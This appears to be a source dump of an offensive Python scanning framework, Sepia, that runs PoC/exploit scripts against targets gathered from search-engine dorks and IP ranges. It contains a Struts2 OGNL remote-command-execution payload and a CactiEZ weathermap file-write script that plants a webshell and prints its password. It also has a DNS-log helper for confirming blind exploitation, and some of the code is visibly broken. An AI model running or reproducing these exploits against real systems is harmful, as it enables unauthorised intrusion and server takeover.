40 | url = url + "?redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27"+command+"%27.toString().split(%27\\\\s%27))).start().getInputStream()).useDelimiter(%27\\\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}"
41 | response = requests.get(url=url, headers=header, timeout=5)
42 | print response.text.rstrip()
43 |
--------------------------------------------------------------------------------
/plugin/extracts.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
4 |
5 | import re
6 | import requests
7 |
8 |
9 | def getIP(content, remove_duplicate=True, remove_private=False):
10 | """
11 | Functions to extract IP from content string
12 |
13 | parameters:
14 | content
15 | remove_duplicate (default:true)
16 | remove_private (default:False)
17 |
18 | usage:
19 | from lib.util.extracts import *
20 | ip_list = getIP(content)
21 |
22 | private address:
23 | 10.0.0.0 - 10.255.255.255
24 | 172.16.0.0 - 172.31.255.255
25 | 192.168.0.0 - 192.168.255.255
26 | 127.0.0.0 - 127.255.255.255
27 |
28 | example:
29 | > print getIP('ffeac12.2.2.2asf^&10.10\n.1.1ffa2\n')
30 | ['12.2.2.2','10.10.1.1']
31 |
32 | """
33 |
34 | def _isPrivateIP(strict_IP):
35 | p1 = re.compile(r'^10\.|^172\.(?:1[6789]|2\d|31)\.|^192\.168\.|^127\.')
36 | return True if re.match(p1, strict_IP) else False
37 |
38 | content = content.replace('\n', ',')
39 | p = re.compile(r'(?:(?:2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(?:2[0-4]\d|25[0-5]|[01]?\d\d?)')
40 | _ = re.findall(p, content)
41 | ans = list(set(_)) if remove_duplicate else _
42 |
43 | if remove_private:
44 | for each in ans:
45 | if _isPrivateIP(each):
46 | ans.remove(each)
47 |
48 | return ans
49 |
50 |
51 | def getTitle(input):
52 | """
53 | Get title from html-content/ip/url
54 |
55 | :param input:html-content OR ip OR url
56 | :return text in
57 | :except return string:'NULL'
58 | """
59 | try:
60 | if '' in input:
61 | content = input
62 | else:
63 | url = 'http://' + input if '://' not in input else input
64 | content = requests.get(url,timeout=3).content
65 | return re.findall('([\s\S]*)', content)[0].strip()
66 | except Exception:
67 | return ''
68 |
--------------------------------------------------------------------------------
/lib/api/baidu/pack.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
4 | import re
5 | import sys
6 | import urllib
7 | import urllib2
8 | from urlparse import urlparse, urlunsplit, urljoin
9 | from lib.core.common import getSafeExString
10 | from lib.core.enums import PROXY_TYPE
11 | from lib.utils.config import ConfigFileParser
12 | from lib.core.data import logger, conf
13 | from bs4 import BeautifulSoup as BS
14 |
15 | def get_domain(url):
16 | p = urlparse(url)
17 | return urlunsplit([p.scheme, p.netloc, '', '', ''])
18 |
19 | def iterate_path(ori_str):
20 | parser = urlparse(ori_str)
21 | _ans_list = [ori_str]
22 | _ans_list.append(get_domain(ori_str))
23 | _path_list = parser.path.replace('//', '/').strip('/').split('/')
24 | s = ''
25 | for each in _path_list:
26 | s += '/' + each
27 | _ans_list.append(urljoin(ori_str, s))
28 | return _ans_list
29 |
30 | def BaiduSearch(query, limit=10, offset=0):
31 | urllist = {''}
32 | regex = str(ConfigFileParser().UrlFilter())
33 | try:
34 | while len(urllist)>> foo = AttribDict()
16 | >>> foo.bar = 1
17 | >>> foo.bar
18 | 1
19 | """
20 |
21 | def __init__(self, indict=None, attribute=None):
22 | if indict is None:
23 | indict = {}
24 |
25 | # Set any attributes here - before initialisation
26 | # these remain as normal attributes
27 | self.attribute = attribute
28 | dict.__init__(self, indict)
29 | self.__initialised = True
30 |
31 | # After initialisation, setting attributes
32 | # is the same as setting an item
33 |
34 | def __getattr__(self, item):
35 | """
36 | Maps values to attributes
37 | Only called if there *is NOT* an attribute with this name
38 | """
39 |
40 | try:
41 | return self.__getitem__(item)
42 | except KeyError:
43 | raise ToolkitDataException("unable to access item '%s'" % item)
44 |
45 | def __setattr__(self, item, value):
46 | """
47 | Maps attributes to values
48 | Only if we are initialised
49 | """
50 |
51 | # This test allows attributes to be set in the __init__ method
52 | if "_AttribDict__initialised" not in self.__dict__:
53 | return dict.__setattr__(self, item, value)
54 |
55 | # Any normal attributes are handled normally
56 | elif item in self.__dict__:
57 | dict.__setattr__(self, item, value)
58 |
59 | else:
60 | self.__setitem__(item, value)
61 |
62 | def __getstate__(self):
63 | return self.__dict__
64 |
65 | def __setstate__(self, dict):
66 | self.__dict__ = dict
67 |
68 | def __deepcopy__(self, memo):
69 | retVal = self.__class__()
70 | memo[id(self)] = retVal
71 |
72 | for attr in dir(self):
73 | if not attr.startswith('_'):
74 | value = getattr(self, attr)
75 | if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)):
76 | setattr(retVal, attr, copy.deepcopy(value, memo))
77 |
78 | for key, value in self.items():
79 | retVal.__setitem__(key, copy.deepcopy(value, memo))
80 |
81 | return retVal
82 |
--------------------------------------------------------------------------------
/plugin/cloudeye.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding: utf-8 -*-
3 |
4 |
5 | """
6 | CloudEye API
7 |
8 | Usage:
9 | c = CloudEye()
10 | a = c.getRandomDomain('cdxy')
11 | try:
12 | requests.get('http://' + a, timeout=1)
13 | except Exception:
14 | pass
15 | print c.verifyDNS(delay=0)
16 | print c.verifyHTTP(delay=0)
17 | print c.getDnsRecord(delay=0)
18 | print c.getHttpRecord(delay=0)
19 | """
20 |
21 | import random
22 | import requests
23 | import time
24 | from string import ascii_lowercase
25 | from lib.utils.config import ConfigFileParser
26 |
27 | # load once for all thread
28 | key = ConfigFileParser().CloudEyeApikey()
29 | uniq_domain = ConfigFileParser().ColudEyePersonaldomain().split('.')[0]
30 |
31 |
32 | class CloudEye:
33 | def __init__(self):
34 | self.unique = uniq_domain
35 | self.random = ''.join([random.choice(ascii_lowercase) for _ in range(10)])
36 |
37 | def getRandomDomain(self, custom='poc'):
38 | """
39 | full domain = [random].[custom].[unique].dnslog.info
40 | e.g. fezarvgo.poc.ee8a6f.dnslog.info
41 | """
42 | self.custom = custom
43 | return '%s.%s.%s.dnslog.info' % (self.random, self.custom, self.unique)
44 |
45 | def getDnsRecord(self, delay=2):
46 | time.sleep(delay)
47 | query = self.random + '.' + self.custom
48 | api_base = 'http://cloudeye.me/api/{key}/{domain}/DNSLog/'.format(key=key, domain=query)
49 | return requests.post(api_base).content
50 |
51 | def getHttpRecord(self, delay=2):
52 | time.sleep(delay)
53 | query = self.random + '.' + self.custom
54 | api_base = 'http://cloudeye.me/api/{key}/{domain}/ApacheLog/'.format(key=key, domain=query)
55 | return requests.post(api_base).content
56 |
57 | def verifyDNS(self, delay=2):
58 | return 'dnslog.info' in self.getDnsRecord(delay)
59 |
60 | def verifyHTTP(self, delay=2):
61 | return 'dnslog.info' in self.getHttpRecord(delay)
62 |
63 |
64 | def queryDnsRecord(domain, delay=2):
65 | time.sleep(delay)
66 | domain = domain.replace(uniq_domain + '.dnslog.info', '').rstrip('.')
67 | api_base = 'http://cloudeye.me/api/{key}/{domain}/DNSLog/'.format(key=key, domain=domain)
68 | return requests.post(api_base).content
69 |
70 |
71 | def queryHttpRecord(domain, delay=2):
72 | time.sleep(delay)
73 | domain = domain.replace(uniq_domain + '.dnslog.info', '').rstrip('.')
74 | api_base = 'http://cloudeye.me/api/{key}/{domain}/ApacheLog/'.format(key=key, domain=domain)
75 | return requests.post(api_base).content
76 |
--------------------------------------------------------------------------------
/lib/cli.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
4 | import os.path
5 | import traceback
6 | from lib.parse.cmdline import cmdLineParser #导入命令行解析模块
7 | from lib.core.option import initOptions
8 | from lib.controller.loader import loadModule, loadPayloads #导入脚本加载模块
9 | from lib.core.common import setPaths, banner, systemQuit
10 | from lib.core.data import paths, logger, cmdLineOptions
11 | from lib.core.enums import EXIT_STATUS
12 | from lib.core.settings import IS_WIN #判断是否为Windows
13 | from lib.core.exception import ToolkitUserQuitException
14 | from lib.core.exception import ToolkitMissingPrivileges
15 | from lib.core.exception import ToolkitSystemException
16 | from lib.controller.engine import run
17 | from thirdparty.colorama.initialise import init as winowsColorInit #导入第三方插件Colorama
18 |
19 |
20 | def main():
21 | try:
22 | paths.ROOT_PATH = os.path.dirname(os.path.dirname(os.path.realpath(__file__)))
23 | #得到当前py文件所在文件夹上一个文件夹目录赋值给paths.ROOT_PATH,也就是Sepia的根目录
24 | try:
25 | os.path.isdir(paths.ROOT_PATH) #此处判断path.ROOT_PATH得到的路径编码是否正常
26 | except UnicodeEncodeError: #出现编码错误就退出
27 | errMsg = "Your system does not properly handle non-ASCII paths. "
28 | errMsg += "Please move the project root directory to another location"
29 | logger.error(errMsg)
30 | raise SystemExit
31 | setPaths() #设置Sepia的文件路径和目录
32 | banner() #打印Sepia的logo
33 | '''
34 | print "########以下为paths字典#########"
35 | print paths
36 | '''
37 | #存储原始命令行选项,以备恢复
38 | '''
39 | print "########以下为原始命令行参数#########"
40 | print cmdLineParser().__dict__
41 | '''
42 | #cmdLineParser().__dict__获得命令行参数数据字典并赋值给cmdLineOptions字典对象
43 | cmdLineOptions.update(cmdLineParser().__dict__)
44 | initOptions(cmdLineOptions)
45 | '''
46 | print "########以下为cmdLineOption字典#########"
47 | print cmdLineOptions
48 | '''
49 |
50 | if IS_WIN: #如果是Windows使用Colorama插件并初始化
51 | winowsColorInit()
52 |
53 |
54 | loadModule() #加载poc脚本
55 | loadPayloads() #配置扫描模式
56 |
57 | run() #开始扫描
58 |
59 | systemQuit(EXIT_STATUS.SYSETM_EXIT)
60 |
61 | except ToolkitMissingPrivileges, e:
62 | logger.error(e)
63 | systemQuit(EXIT_STATUS.ERROR_EXIT)
64 |
65 | except ToolkitSystemException, e:
66 | logger.error(e)
67 | systemQuit(EXIT_STATUS.ERROR_EXIT)
68 |
69 | except ToolkitUserQuitException:
70 | systemQuit(EXIT_STATUS.USER_QUIT)
71 | except KeyboardInterrupt:
72 | systemQuit(EXIT_STATUS.USER_QUIT)
73 |
74 | except Exception:
75 | print traceback.format_exc()
76 | logger.warning('It seems like you reached a unhandled exception, please report it to :s4kur4s4kur4@gmail.com')
77 |
78 | if __name__ == "__main__":
79 | main()
80 |
--------------------------------------------------------------------------------
/script/cactiez_weathermap_file_write.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 | # author = S4kur4
4 | _type = 'FW'
5 | """
6 | CactiEZ weathermap plugin arbitary file write and getshell
7 | """
8 |
9 | import requests
10 | import random
11 |
12 | def poc(url):
13 | try:
14 | if '://' not in url:
15 | url = 'http://' + url
16 | tmp = str(random.randint(1000,2000))
17 | poc_payload = """/plugins/weathermap/editor.php?plug=0&mapname=tmp.txt&action=set_ma
18 | p_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_na
19 | me=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&l
20 | ink_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link
21 | _hover=&map_title={}&map_legend=Traffi
22 | c+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaul
23 | tbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&ma
24 | p_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=ov
25 | erlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyl
26 | e_legendfont=4&item_configtext=Name""".format(tmp)
27 | poc_response = requests.get(url=url.rstrip('/')+poc_payload)
28 | verify_response = requests.get(url.rstrip('/')+'/plugins/weathermap/configs/tmp.txt')
29 | if poc_response.status_code==200 and verify_response.status_code==200:
30 | if tmp in verify_response.text:
31 | return True
32 | else:
33 | return False
34 | except Exception:
35 | return False
36 |
37 | def exp(url):
38 | if '://' not in url:
39 | url = 'http://' + url
40 | exp_payload = """/plugins/weathermap/editor.php?plug=0&mapname=test.php&action=set_ma
41 | p_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_na
42 | me=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&l
43 | ink_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link
44 | _hover=&map_title=&map_legend=Traffi
45 | c+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaul
46 | tbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&ma
47 | p_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=ov
48 | erlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyl
49 | e_legendfont=4&item_configtext=Name"""
50 | exp_response = requests.get(url=url.rstrip('/')+exp_payload)
51 | shell_response = requests.get(url.rstrip('/')+'/plugins/weathermap/configs/test.php)'
52 | if exp_response.status_code==200 and shell_response.status_code==200:
53 | print "Getshell success:{}/plugins/weathermap/configs/test.php".format(url.rstrip('/'))
54 | print "Password:cntr"
55 |
--------------------------------------------------------------------------------
/lib/controller/loader.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
4 | import Queue
5 | import sys
6 | import imp
7 | import os
8 | from lib.core.data import th, conf, logger, paths
9 | from lib.core.enums import TARGET_MODE_STATUS
10 | from lib.core.settings import ESSENTIAL_MODULE_METHODS
11 | from lib.core.exception import ToolkitValueException
12 | from lib.controller.api import runApi
13 | from thirdparty.IPy import IPy
14 |
15 |
16 | def loadModule():
17 | _name = conf.MODULE_NAME #加载的脚本名
18 | msg = 'Load script: %s' % _name
19 | logger.info(msg)
20 | #在脚本文件夹中查找_name文件
21 | fp, pathname, description = imp.find_module(os.path.splitext(_name)[0], [paths.SCRIPT_PATH])
22 | try:
23 | th.module_obj = imp.load_module("_", fp, pathname, description) #加载找到的模块
24 | for each in ESSENTIAL_MODULE_METHODS: #ESSENTIAL_MODULE_METHODS=['poc']
25 | if not hasattr(th.module_obj, each): #如果模块中不存在'poc'方法就提醒并退出
26 | errorMsg = "Can't find essential method:'%s()' in current script,Please modify your script/PoC".format(each)
27 | sys.exit(logger.error(errorMsg))
28 | except ImportError, e: #模块加载失败就抛出异常
29 | errorMsg = "Your current scipt [%s.py] caused this exception\n%s\n%s" \
30 | % (_name, '[Error Msg]: ' + str(e), 'Maybe you can download this module from pip or easy_install')
31 | sys.exit(logger.error(errorMsg))
32 |
33 |
34 | def loadPayloads():
35 | infoMsg = 'Initialize targets...'
36 | logger.info(infoMsg)
37 | th.queue = Queue.Queue() #创建扫描目标队列
38 | if conf.TARGET_MODE is TARGET_MODE_STATUS.FILE: #conf.TARGET_MOD=9 -f模式
39 | file_mode()
40 | elif conf.TARGET_MODE is TARGET_MODE_STATUS.IPMASK: #conf.TARGET_MOD=7 -c模式
41 | cidr_mode()
42 | elif conf.TARGET_MODE is TARGET_MODE_STATUS.SINGLE: #conf.TARGET_MOD=8 -u模式
43 | single_target_mode()
44 | elif conf.TARGET_MODE is TARGET_MODE_STATUS.API: #conf.TARGET_MOD=5 API模式
45 | api_mode()
46 |
47 | else:
48 | raise ToolkitValueException('conf.TARGET_MODE value ERROR.')
49 | logger.info('Total: %s' % str(th.queue.qsize()))
50 |
51 |
52 | def file_mode():
53 | for line in open(conf.INPUT_FILE_PATH): #读取文件中的每行并丢进队列
54 | sub = line.strip()
55 | if sub:
56 | th.queue.put(sub)
57 |
58 |
59 | def cidr_mode():
60 | ori_str = conf.NETWORK_STR
61 | try:
62 | _list = IPy.IP(ori_str) #使用IPy插件得到IP列表
63 | except Exception, e:
64 | sys.exit(logger.error('Invalid IP/MASK,%s' % e))
65 | for each in _list: #将IP列表丢进队列
66 | th.queue.put(str(each))
67 |
68 |
69 | def single_target_mode():
70 | th.queue.put(str(conf.SINGLE_TARGET_STR))
71 |
72 |
73 | def api_mode():
74 | conf.API_OUTPUT = os.path.join(paths.DATA_PATH, conf.API_MODE)
75 | if not os.path.exists(conf.API_OUTPUT):
76 | os.mkdir(conf.API_OUTPUT)
77 |
78 | file = runApi()
79 | for line in open(file):
80 | sub = line.strip()
81 | if sub:
82 | th.queue.put(sub)
83 |
--------------------------------------------------------------------------------
/lib/core/register.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | 用于注册互斥的参数并给出错误提示
6 |
7 | Register()
8 | start 最少通过量
9 | stop 最大通过量
10 | mutex 互斥开关
11 | mutex_errmsg 错误提示
12 |
13 | add()
14 | perform 目标函数
15 | trigger 触发条件
16 | args 参数传入
17 | kwargs 参数传入
18 |
19 | Usage:
20 | r = Register()
21 | r.add(function1,1>1)
22 | r.add(function2,2>1)
23 | r.add(function3,3>1)
24 | r.run()
25 |
26 | """
27 |
28 | import types
29 | import sys
30 | from lib.core.data import logger
31 | from lib.core.exception import RegisterDataException, RegisterMutexException, RegisterValueException
32 |
33 |
34 | class Register:
35 | def __init__(self, start=1, stop=1, mutex_errmsg=None, mutex=True):
36 | self.targets = []
37 | self.mutex = mutex
38 | self.start = start
39 | self.stop = stop
40 | self.mutex_errmsg = mutex_errmsg
41 | self.verified = []
42 |
43 | def enable_mutex(self):
44 | self.mutex = True
45 |
46 | def set_mutex_errmsg(self, s):
47 | self.mutex_errmsg = str(s)
48 |
49 | def add(self, perform, trigger, args=(), kwargs=None):
50 | if kwargs is None:
51 | kwargs = {}
52 | d = {'perform': perform, 'args': args, 'kwargs': kwargs, 'trigger': trigger}
53 | self.targets.append(d)
54 | self.__args = args
55 | self.__kwargs = kwargs
56 |
57 | def run(self):
58 | self.__pretreat()
59 | for target in self.verified:
60 | if not target.get('perform'):
61 | msg = 'Register has no verified target'
62 | raise RegisterDataException(msg)
63 | target.get('perform')(*target.get('args'), **target.get('kwargs'))
64 |
65 | def __pretreat(self):
66 | self.__input_vector_check()
67 | for __target in self.targets:
68 | __trigger = __target.get('trigger')
69 | if type(__trigger) is types.BooleanType or type(__trigger) is types.StringType:
70 | if __trigger:
71 | self.verified.append(__target)
72 | else:
73 | msg = '[Trigger Type Error] Expected:boolean,found:' + str(type(__trigger))
74 | raise RegisterValueException(msg)
75 | self.__mutex_check()
76 |
77 | def __mutex_check(self):
78 | if self.mutex:
79 | if len(self.verified) < self.start or len(self.verified) > self.stop:
80 | if self.mutex_errmsg is None:
81 | raise RegisterMutexException('mutex error,verified func count: ' + str(len(self.verified)))
82 | else:
83 | sys.exit(logger.error(self.mutex_errmsg))
84 |
85 | def __input_vector_check(self):
86 | if type(self.stop) is types.IntType and type(self.start) is types.IntType and type(
87 | self.mutex) is types.BooleanType:
88 | pass
89 | else:
90 | raise RegisterValueException('Register init func type error')
91 | if len(self.targets) is 0:
92 | msg = 'no target'
93 | raise RegisterDataException(msg)
94 | if self.start > self.stop:
95 | msg = 'start > stop'
96 | raise RegisterDataException(msg)
97 |
--------------------------------------------------------------------------------
/lib/parse/cmdline.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
4 | import argparse
5 | import sys
6 | from lib.core.settings import VERSION
7 |
8 |
9 | def cmdLineParser():
10 | parser = argparse.ArgumentParser(description='Example: python sepia.py -s s2045-rce -baidu "inurl:login.action"', add_help=False)
11 |
12 | #第一项optional_arguments,基础相关项
13 | optional_arguments = parser.add_argument_group('Options')
14 | optional_arguments.add_argument('-h', '--help', action='help', help='Show help message and exit')
15 | optional_arguments.add_argument('-v', '--version', action='version', version='Version:'+VERSION, help="Show program's version number and exit")
16 |
17 | #第二项engine_mode,扫描引擎配置项
18 | engine_mode = parser.add_argument_group('Engine')
19 | engine_mode.add_argument('--threads', dest="engine_thread", default=False, action='store_true', help='Multi-Threaded engine (default choice)')
20 | engine_mode.add_argument('--gevent', dest="engine_gevent", default=False, action='store_true', help='Gevent engine (single-threaded with asynchronous)')
21 | engine_mode.add_argument('--number', metavar='NUMBER', dest="thread_num", type=int, default=10, help='number of threads/concurrent (default:10)')
22 |
23 | #第三项script,脚本配置项
24 | script = parser.add_argument_group('Script')
25 | script.add_argument('-s', metavar='SCRIPT', dest="script_name", type=str, default='', help='Load script by name (-s jboss-rce) or path (-s ./script/jboss.py)')
26 | script.add_argument('--search', metavar='KEYWORDS', dest="search_script", type=str, help='Fuzzy search script by keywords (--search jboss)')
27 | script.add_argument('--list', dest="list_scripts", default=False, action='store_true', help='List available script names in ./script/ and exit')
28 |
29 | #第四项target,扫描目标配置项
30 | target = parser.add_argument_group('Target')
31 | target.add_argument('-t', '--target', metavar='URL&IP', dest="target_urlip", type=str, default='', help='Target URL or IP(e.g. http://www.targetsite.com/)')
32 | target.add_argument('-f', '--file', metavar='URLFILE', dest="target_file", type=str, default='', help='Load targets from targetFile (e.g. ./data/wooyun_domain)')
33 | target.add_argument('-c', '--cidr', metavar='CIDR', dest="target_cidr", type=str, default='', help='Read a CIDR (e.g. 10.0.1.0/24)')
34 |
35 | #第五项api,扫描数据接口配置项
36 | api = parser.add_argument_group('API')
37 | api.add_argument('-zoomeye', metavar='DORK', dest="zoomeye_dork", type=str, default='', help='ZoomEye dork (e.g. "zabbix port:8080")')
38 | api.add_argument('-baidu', metavar='DORK', dest="baidu_dork", type=str, default='', help='Baidu dork (e.g. "inurl:login.action")')
39 | api.add_argument('--limit', metavar='NUMBER', dest="api_limit", type=int, default=10, help='Maximum searching results (default:10)')
40 | api.add_argument('--offset', metavar='OFFSET', dest="api_offset", type=int, default=0, help="Search offset to begin getting results from (default:0)")
41 | api.add_argument('--search-type', metavar='TYPE', dest="search_type", action="store", default='host', help="[ZoomEye] search type used in ZoomEye API, web or host (default:host)")
42 |
43 | if len(sys.argv) == 1:
44 | sys.exit('sepia.py: error: missing a mandatory option (-s, -t|-f|-c|-zoomeye|-baidu), use -h for help')
45 | args = parser.parse_args()
46 | return args
47 |
--------------------------------------------------------------------------------
/lib/utils/console.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #-*- coding:utf-8 -*-
3 |
4 | """
5 | getTerminalSize()
6 | - 获取命令行窗口的高度和宽度 返回一个两位数tuple (width, tuple)
7 | - get width and height of console
8 | - works on linux,os x,windows,cygwin(windows)
9 | """
10 |
11 | import os
12 |
13 | __all__ = ['getTerminalSize']
14 |
15 |
16 | def getTerminalSize():
17 | import platform
18 | current_os = platform.system()
19 | tuple_xy = None
20 | if current_os == 'Windows':
21 | tuple_xy = _getTerminalSize_windows()
22 | if tuple_xy is None:
23 | tuple_xy = _getTerminalSize_tput()
24 | # needed for window's python in cygwin's xterm!
25 | if current_os == 'Linux' or current_os == 'Darwin' or current_os.startswith('CYGWIN'):
26 | tuple_xy = _getTerminalSize_linux()
27 | if tuple_xy is None:
28 | print "default"
29 | tuple_xy = (80, 25) # default value
30 | return tuple_xy
31 |
32 |
33 | def _getTerminalSize_windows():
34 | res = None
35 | try:
36 | from ctypes import windll, create_string_buffer
37 |
38 | # stdin handle is -10
39 | # stdout handle is -11
40 | # stderr handle is -12
41 |
42 | h = windll.kernel32.GetStdHandle(-12)
43 | csbi = create_string_buffer(22)
44 | res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi)
45 | except Exception:
46 | return None
47 | if res:
48 | import struct
49 | (bufx, bufy, curx, cury, wattr,
50 | left, top, right, bottom, maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw)
51 | sizex = right - left + 1
52 | sizey = bottom - top + 1
53 | return sizex, sizey
54 | else:
55 | return None
56 |
57 |
58 | def _getTerminalSize_tput():
59 | # get terminal width
60 | # src: http://stackoverflow.com/questions/263890/how-do-i-find-the-width-height-of-a-terminal-window
61 | try:
62 | import subprocess
63 | proc = subprocess.Popen(["tput", "cols"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
64 | output = proc.communicate(input=None)
65 | cols = int(output[0])
66 | proc = subprocess.Popen(["tput", "lines"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
67 | output = proc.communicate(input=None)
68 | rows = int(output[0])
69 | return (cols, rows)
70 | except Exception:
71 | return None
72 |
73 |
74 | def _getTerminalSize_linux():
75 | def ioctl_GWINSZ(fd):
76 | try:
77 | import fcntl, termios, struct
78 | cr = struct.unpack('hh', fcntl.ioctl(fd, termios.TIOCGWINSZ, '1234'))
79 | except Exception:
80 | return None
81 | return cr
82 |
83 | cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2)
84 | if not cr:
85 | try:
86 | fd = os.open(os.ctermid(), os.O_RDONLY)
87 | cr = ioctl_GWINSZ(fd)
88 | os.close(fd)
89 | except Exception:
90 | pass
91 | if not cr:
92 | try:
93 | cr = (env['LINES'], env['COLUMNS'])
94 | except Exception:
95 | return None
96 | return int(cr[1]), int(cr[0])
97 |
98 |
99 | if __name__ == "__main__":
100 | sizex, sizey = getTerminalSize()
101 | print 'width =', sizex, 'height =', sizey
102 |
--------------------------------------------------------------------------------
/plugin/util.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*-coding:utf-8 -*-
3 |
4 | import random
5 | import hashlib
6 | import requests
7 | import socket
8 | import re
9 | from string import ascii_lowercase, digits
10 | from urlparse import urlparse
11 |
12 |
13 | def randomString(length=8):
14 | """
15 | 生成随机字母串
16 |
17 | :param length:生成字符串长度
18 | :return 字母串
19 | """
20 | return ''.join([random.choice(ascii_lowercase) for _ in range(length)])
21 |
22 |
23 | def randomDigits(length=8):
24 | """
25 | 生成随机数字串
26 |
27 | :param length:生成字符串长度
28 | :return 数字串
29 | """
30 | return ''.join([random.choice(digits) for _ in range(length)])
31 |
32 |
33 | def randomMD5(length=10, hex=True):
34 | """
35 | 生成随机MD5键值对
36 |
37 | :param length:指定明文长度
38 | :param hex:指定密文长度为32位
39 | :returns 原文,密文(32位或16位)
40 | """
41 | plain = randomDigits(length)
42 | m = hashlib.md5()
43 | m.update(plain)
44 | cipher = m.hexdigest() if hex else m.hexdigest()[8:-8]
45 | return [plain, cipher]
46 |
47 |
48 | def redirectURL(url, timeout=3):
49 | """
50 | 获取跳转后的真实URL
51 |
52 | :param url:原始URL
53 | :param timeout:超时时间
54 | :return 跳转后的真实URL
55 | """
56 | try:
57 | url = url if '://' in url else 'http://' + url
58 | r = requests.get(url, allow_redirects=False, timeout=timeout)
59 | return r.headers.get('location') if r.status_code == 302 else url
60 | except Exception:
61 | return url
62 |
63 |
64 | def host2IP(url):
65 | """
66 | URL转IP
67 |
68 | :param url:原始URL
69 | :return IP:PORT
70 | :except 返回原始URL
71 | """
72 | for offset in url:
73 | if offset.isalpha():
74 | break
75 | else:
76 | return url
77 | try:
78 | url = url if '://' in url else 'http://' + url # to get netloc
79 | url = urlparse(url).netloc
80 | ans = [i for i in socket.getaddrinfo(url.split(':')[0], None)[0][4] if i != 0][0]
81 | if ':' in url:
82 | ans += ':' + url.split(':')[1]
83 | return ans
84 | except Exception:
85 | return url
86 |
87 |
88 | def IP2domain(base, timeout=3):
89 | """
90 | IP转域名
91 |
92 | :param base:原始IP
93 | :param timeout:超时时间
94 | :return 域名 / False
95 | :except 返回False
96 | """
97 | try:
98 | domains = set()
99 | ip = base.split(':')[0] if ':' in base else base
100 | q = "https://www.bing.com/search?q=ip%3A" + ip
101 | c = requests.get(url=q,
102 | headers={
103 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0'},
104 | timeout=timeout
105 | ).content
106 | p = re.compile(r'(.*?)')
107 | l = re.findall(p, c)
108 | for each in l:
109 | domain = each.split('://')[-1].split('/')[0]
110 | domains.add(domain)
111 | if len(domains) > 0:
112 | ans_1 = base + ' -> '
113 | for each in domains:
114 | ans_1 += '|' + each
115 | return ans_1
116 | else:
117 | return False
118 | except Exception:
119 | return False
120 |
121 |
122 | def checkPortTcp(target, port, timeout=3):
123 | """
124 | 检查端口是否开放
125 |
126 | :param target:目标IP
127 | :param port:目标端口
128 | :param timeout:超时时间
129 | :return True / False
130 | :except 返回False
131 | """
132 | sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
133 | sk.settimeout(timeout)
134 | try:
135 | sk.connect((target, port))
136 | return True
137 | except Exception:
138 | return False
139 |
--------------------------------------------------------------------------------
/thirdparty/colorama/win32.py:
--------------------------------------------------------------------------------
1 |
2 | # from winbase.h
3 | STDOUT = -11
4 | STDERR = -12
5 |
6 | try:
7 | from ctypes import windll
8 | except ImportError:
9 | windll = None
10 | SetConsoleTextAttribute = lambda *_: None
11 | else:
12 | from ctypes import (
13 | byref, Structure, c_char, c_short, c_uint32, c_ushort
14 | )
15 |
16 | handles = {
17 | STDOUT: windll.kernel32.GetStdHandle(STDOUT),
18 | STDERR: windll.kernel32.GetStdHandle(STDERR),
19 | }
20 |
21 | SHORT = c_short
22 | WORD = c_ushort
23 | DWORD = c_uint32
24 | TCHAR = c_char
25 |
26 | class COORD(Structure):
27 | """struct in wincon.h"""
28 | _fields_ = [
